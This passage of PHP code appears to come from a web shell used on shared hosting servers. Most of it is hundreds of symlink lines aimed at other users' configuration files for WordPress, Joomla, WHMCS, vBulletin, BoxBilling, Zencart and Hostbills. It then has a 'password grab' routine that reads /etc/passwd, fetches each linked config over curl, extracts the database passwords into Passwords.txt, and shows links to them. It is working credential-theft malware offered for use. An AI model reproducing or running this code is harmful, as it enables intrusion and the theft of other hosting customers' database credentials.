  1946. @symlink('/home3/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  1947. @symlink('/home3/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  1948. @symlink('/home3/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  1949. @symlink('/home3/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  1950. @symlink('/home3/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  1951. @symlink('/home3/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  1952. @symlink('/home3/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  1953. @symlink('/home3/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  1954. @symlink('/home3/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  1955. @symlink('/home3/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  1956. @symlink('/home3/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  1957. @symlink('/home3/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  1958. @symlink('/home3/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  1959. @symlink('/home3/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  1960. @symlink('/home3/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  1961. @symlink('/home3/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  1962. @symlink('/home3/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  1963. @symlink('/home3/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  1964. @symlink('/home3/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  1965. @symlink('/home3/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  1966. @symlink('/home3/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  1967. @symlink('/home3/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  1968. @symlink('/home3/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  1969. @symlink('/home3/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1970. @symlink('/home3/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1971. @symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1972. @symlink('/home3/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  1973. @symlink('/home3/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  1974. @symlink('/home3/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  1975. @symlink('/home3/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  1976. @symlink('/home3/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  1977. @symlink('/home3/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  1978. @symlink('/home3/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  1979. @symlink('/home3/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  1980. @symlink('/home3/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  1981. @symlink('/home3/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  1982. @symlink('/home3/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  1983. @symlink('/home3/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  1984. @symlink('/home3/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  1985. @symlink('/home3/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  1986. @symlink('/home3/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  1987. @symlink('/home3/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  1988. @symlink('/home3/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  1989. @symlink('/home3/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  1990. @symlink('/home3/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  1991. @symlink('/home3/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  1992. @symlink('/home3/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  1993. @symlink('/home3/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  1994. @symlink('/home3/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  1995. @symlink('/home3/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  1996. @symlink('/home3/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  1997. @symlink('/home3/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  1998. @symlink('/home3/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  1999. @symlink('/home3/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  2000. @symlink('/home3/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  2001. @symlink('/home3/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  2002. @symlink('/home3/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  2003. @symlink('/home3/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  2004. @symlink('/home3/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  2005. @symlink('/home3/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  2006. @symlink('/home3/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  2007. @symlink('/home3/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  2008. @symlink('/home3/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  2009. @symlink('/home3/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  2010. @symlink('/home3/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  2011. @symlink('/home3/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  2012. @symlink('/home3/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  2013. @symlink('/home3/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  2014. @symlink('/home3/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  2015. @symlink('/home3/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  2016. @symlink('/home3/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  2017. @symlink('/home3/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  2018. @symlink('/home3/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  2019. @symlink('/home3/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  2020. @symlink('/home3/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  2021. @symlink('/home3/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  2022. @symlink('/home3/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  2023.  
  2024. //Home4
  2025.  
  2026. @symlink('/home4/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  2027. @symlink('/home4/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  2028. @symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  2029. @symlink('/home4/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  2030. @symlink('/home4/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  2031. @symlink('/home4/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  2032. @symlink('/home4/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  2033. @symlink('/home4/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  2034. @symlink('/home4/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  2035. @symlink('/home4/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  2036. @symlink('/home4/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  2037. @symlink('/home4/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  2038. @symlink('/home4/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  2039. @symlink('/home4/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  2040. @symlink('/home4/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  2041. @symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  2042. @symlink('/home4/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  2043. @symlink('/home4/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  2044. @symlink('/home4/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  2045. @symlink('/home4/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  2046. @symlink('/home4/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  2047. @symlink('/home4/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  2048. @symlink('/home4/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  2049. @symlink('/home4/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  2050. @symlink('/home4/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  2051. @symlink('/home4/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  2052. @symlink('/home4/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  2053. @symlink('/home4/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  2054. @symlink('/home4/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  2055. @symlink('/home4/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  2056. @symlink('/home4/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  2057. @symlink('/home4/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  2058. @symlink('/home4/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  2059. @symlink('/home4/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  2060. @symlink('/home4/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  2061. @symlink('/home4/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  2062. @symlink('/home4/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  2063. @symlink('/home4/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  2064. @symlink('/home4/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  2065. @symlink('/home4/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  2066. @symlink('/home4/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  2067. @symlink('/home4/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  2068. @symlink('/home4/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  2069. @symlink('/home4/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  2070. @symlink('/home4/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  2071. @symlink('/home4/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  2072. @symlink('/home4/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  2073. @symlink('/home4/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  2074. @symlink('/home4/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  2075. @symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  2076. @symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  2077. @symlink('/home4/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  2078. @symlink('/home4/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  2079. @symlink('/home4/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  2080. @symlink('/home4/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  2081. @symlink('/home4/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  2082. @symlink('/home4/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  2083. @symlink('/home4/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  2084. @symlink('/home4/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  2085. @symlink('/home4/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  2086. @symlink('/home4/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  2087. @symlink('/home4/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  2088. @symlink('/home4/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  2089. @symlink('/home4/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  2090. @symlink('/home4/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  2091. @symlink('/home4/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  2092. @symlink('/home4/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  2093. @symlink('/home4/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  2094. @symlink('/home4/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  2095. @symlink('/home4/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  2096. @symlink('/home4/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  2097. @symlink('/home4/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  2098. @symlink('/home4/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  2099. @symlink('/home4/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  2100. @symlink('/home4/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  2101. @symlink('/home4/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  2102. @symlink('/home4/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  2103. @symlink('/home4/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  2104. @symlink('/home4/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  2105. @symlink('/home4/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  2106. @symlink('/home4/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  2107. @symlink('/home4/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  2108. @symlink('/home4/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  2109. @symlink('/home4/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  2110. @symlink('/home4/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  2111. @symlink('/home4/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  2112. @symlink('/home4/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  2113. @symlink('/home4/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  2114. @symlink('/home4/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  2115. @symlink('/home4/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  2116. @symlink('/home4/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  2117. @symlink('/home4/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  2118. @symlink('/home4/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  2119. @symlink('/home4/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  2120. @symlink('/home4/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  2121. @symlink('/home4/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  2122. @symlink('/home4/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  2123. @symlink('/home4/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  2124. @symlink('/home4/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  2125. @symlink('/home4/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  2126. @symlink('/home4/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  2127. @symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  2128. @symlink('/home4/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  2129. @symlink('/home4/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  2130. @symlink('/home4/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  2131. @symlink('/home4/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  2132. @symlink('/home4/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  2133. @symlink('/home4/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  2134. @symlink('/home4/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  2135. @symlink('/home4/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  2136. @symlink('/home4/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  2137. @symlink('/home4/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  2138. @symlink('/home4/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  2139. @symlink('/home4/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  2140. @symlink('/home4/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  2141. @symlink('/home4/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  2142. @symlink('/home4/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  2143. @symlink('/home4/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  2144. @symlink('/home4/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  2145. @symlink('/home4/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  2146. @symlink('/home4/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  2147. @symlink('/home4/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  2148. @symlink('/home4/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  2149. @symlink('/home4/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  2150. @symlink('/home4/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  2151. @symlink('/home4/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  2152. @symlink('/home4/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  2153. @symlink('/home4/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  2154. @symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  2155. @symlink('/home4/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  2156. @symlink('/home4/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  2157. @symlink('/home4/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  2158. @symlink('/home4/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  2159. @symlink('/home4/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  2160. @symlink('/home4/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  2161. @symlink('/home4/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  2162. @symlink('/home4/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  2163. @symlink('/home4/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  2164. @symlink('/home4/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  2165. @symlink('/home4/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  2166. @symlink('/home4/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  2167. @symlink('/home4/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  2168. @symlink('/home4/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  2169. @symlink('/home4/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  2170. @symlink('/home4/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  2171. @symlink('/home4/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  2172. @symlink('/home4/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  2173. @symlink('/home4/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  2174. @symlink('/home4/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  2175. @symlink('/home4/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  2176. @symlink('/home4/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  2177. @symlink('/home4/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  2178. @symlink('/home4/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  2179. @symlink('/home4/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  2180. @symlink('/home4/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  2181. @symlink('/home4/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  2182. @symlink('/home4/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  2183. @symlink('/home4/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  2184. @symlink('/home4/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  2185. @symlink('/home4/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  2186. @symlink('/home4/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  2187. @symlink('/home4/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  2188. @symlink('/home4/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  2189. @symlink('/home4/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  2190. @symlink('/home4/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  2191. @symlink('/home4/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  2192. @symlink('/home4/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  2193. @symlink('/home4/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  2194. @symlink('/home4/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  2195. @symlink('/home4/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  2196. @symlink('/home4/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  2197. @symlink('/home4/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  2198. @symlink('/home4/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  2199. @symlink('/home4/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  2200. @symlink('/home4/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  2201. @symlink('/home4/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  2202. @symlink('/home4/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  2203. @symlink('/home4/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  2204. @symlink('/home4/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  2205. @symlink('/home4/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  2206.  
  2207. }
  2208.  
  2209. //password grab
  2210.  
  2211. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien)
  2212. {
  2213.  
  2214. $ar0=explode($marqueurDebutLien, $text);
  2215. $ar1=explode($marqueurFinLien, $ar0[1]);
  2216. $ar=trim($ar1[0]);
  2217. return $ar;
  2218. }
  2219.  
  2220. $ffile=fopen('Passwords.txt','a+');
  2221.  
  2222.  
  2223. $r= 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME'])."/Symconf/";
  2224. $re=$r;
  2225. $confi=array("-Wordpress.txt","-Joomla.txt","-WHMCS.txt","-Vbulletin.txt","-Other.txt","-Zencart.txt","-Hostbills.txt","-SMF.txt","-Drupal.txt","-OsCommerce.txt","-MyBB.txt","-PHPBB.txt","-IPB.txt","-BoxBilling.txt");
  2226.  
  2227. $users=file("/etc/passwd");
  2228. foreach($users as $user)
  2229. {
  2230.  
  2231. $str=explode(":",$user);
  2232. $usersss=$str[0];
  2233. foreach($confi as $co)
  2234. {
  2235.  
  2236.  
  2237. $uurl=$re.$usersss.$co;
  2238. $uel=$uurl;
  2239.  
  2240. $ch = curl_init();
  2241.  
  2242. curl_setopt($ch, CURLOPT_URL, $uel);
  2243. curl_setopt($ch, CURLOPT_HEADER, 1);
  2244. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2245. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  2246. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
  2247. $result['EXE'] = curl_exec($ch);
  2248. curl_close($ch);
  2249. $uxl=$result['EXE'];
  2250.  
  2251.  
  2252. if($uxl && preg_match('/table_prefix/i',$uxl))
  2253. {
  2254.  
  2255. //Wordpress
  2256.  
  2257. $dbp=entre2v2($uxl,"DB_PASSWORD', '","');");
  2258. if(!empty($dbp))
  2259. $pass=$dbp."\n";
  2260. fwrite($ffile,$pass);
  2261.  
  2262. }
  2263. elseif($uxl && preg_match('/cc_encryption_hash/i',$uxl))
  2264. {
  2265.  
  2266. //WHMCS
  2267.  
  2268. $dbp=entre2v2($uxl,"db_password = '","';");
  2269. if(!empty($dbp))
  2270. $pass=$dbp."\n";
  2271. fwrite($ffile,$pass);
  2272.  
  2273. }
  2274.  
  2275.  
  2276. elseif($uxl && preg_match('/dbprefix/i',$uxl))
  2277. {
  2278.  
  2279. //Joomla
  2280.  
  2281. $db=entre2v2($uxl,"password = '","';");
  2282. if(!empty($db))
  2283. $pass=$db."\n";
  2284. fwrite($ffile,$pass);
  2285. }
  2286. elseif($uxl && preg_match('/admincpdir/i',$uxl))
  2287. {
  2288.  
  2289. //Vbulletin
  2290.  
  2291. $db=entre2v2($uxl,"password'] = '","';");
  2292. if(!empty($db))
  2293. $pass=$db."\n";
  2294. fwrite($ffile,$pass);
  2295.  
  2296. }
  2297. elseif($uxl && preg_match('/DB_DATABASE/i',$uxl))
  2298. {
  2299.  
  2300. //Other
  2301.  
  2302. $db=entre2v2($uxl,"DB_PASSWORD', '","');");
  2303. if(!empty($db))
  2304. $pass=$db."\n";
  2305. fwrite($ffile,$pass);
  2306. }
  2307. elseif($uxl && preg_match('/dbpass/i',$uxl))
  2308. {
  2309.  
  2310. //Other
  2311.  
  2312. $db=entre2v2($uxl,"dbpass = '","';");
  2313. if(!empty($db))
  2314. $pass=$db."\n";
  2315. fwrite($ffile,$pass);
  2316. }
  2317. elseif($uxl && preg_match('/dbpass/i',$uxl))
  2318. {
  2319.  
  2320. //Other
  2321.  
  2322. $db=entre2v2($uxl,"dbpass = '","';");
  2323. if(!empty($db))
  2324. $pass=$db."\n";
  2325. fwrite($ffile,$pass);
  2326.  
  2327. }
  2328. elseif($uxl && preg_match('/dbpass/i',$uxl))
  2329. {
  2330.  
  2331. //Other
  2332.  
  2333. $db=entre2v2($uxl,"dbpass = \"","\";");
  2334. if(!empty($db))
  2335. $pass=$db."\n";
  2336. fwrite($ffile,$pass);
  2337. }
  2338.  
  2339.  
  2340. }
  2341. }
  2342. echo "<center>
  2343. <a href=\"Symconf/root/\">Root Server</a>
  2344. <br><a href=\"Symconf/Passwords.txt\">Passwords</a>
  2345. <br><a href=\"Symconf/\">Configurations</a></center>";
  2346. }
  2347. else
  2348. {
